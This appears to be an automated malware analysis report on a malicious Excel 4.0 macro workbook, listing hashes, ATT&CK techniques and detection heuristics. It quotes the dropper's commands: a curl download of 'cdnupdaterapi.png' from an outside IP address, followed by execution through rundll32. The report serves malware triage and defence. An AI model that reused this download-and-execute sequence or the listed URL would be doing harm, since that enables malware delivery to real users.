Office (OLE) / .XLSX malware analysis — malicious · 3f22b3bd88e11fc1

MALICIOUS

Office (OLE) / .XLSX

156.0 KB Created: 2021-08-19 11:53:56 Authoring application: Microsoft Excel

MD5: 049c72b564ce3fd64f1429f79b169aac SHA-1: b33c40f2942415c740bcb4bfd79ea56851ec01fc SHA-256: 3f22b3bd88e11fc1a46294f66510ce15f1162cece46303c26995de29781ed1c4

222 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic for Applications T1204.002 Malicious File T1059.001 PowerShell T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros with an Auto_Open entry, which is a strong indicator of malicious intent. The macro uses the EXEC function to run a command that downloads a file named 'cdnupdaterapi.png' from 'http://185.244.41.29/ooi' using curl and saves it to 'c:\users\public\cdnupdate rapi.png'. It then attempts to execute this downloaded file using 'rundll32 c:\users\public\cdnupdaterapi.png ,hi tm k'. The presence of the 'SE_ENABLE_LURE' heuristic indicates the document likely prompts the user to enable macros.

Heuristics 7

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://185.244.41.29/ooi

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `8253db7dae81c09c437c5d6e33ea2c9d017bb951c31f4d668dfe0763c5bbef0c`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	3730 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).

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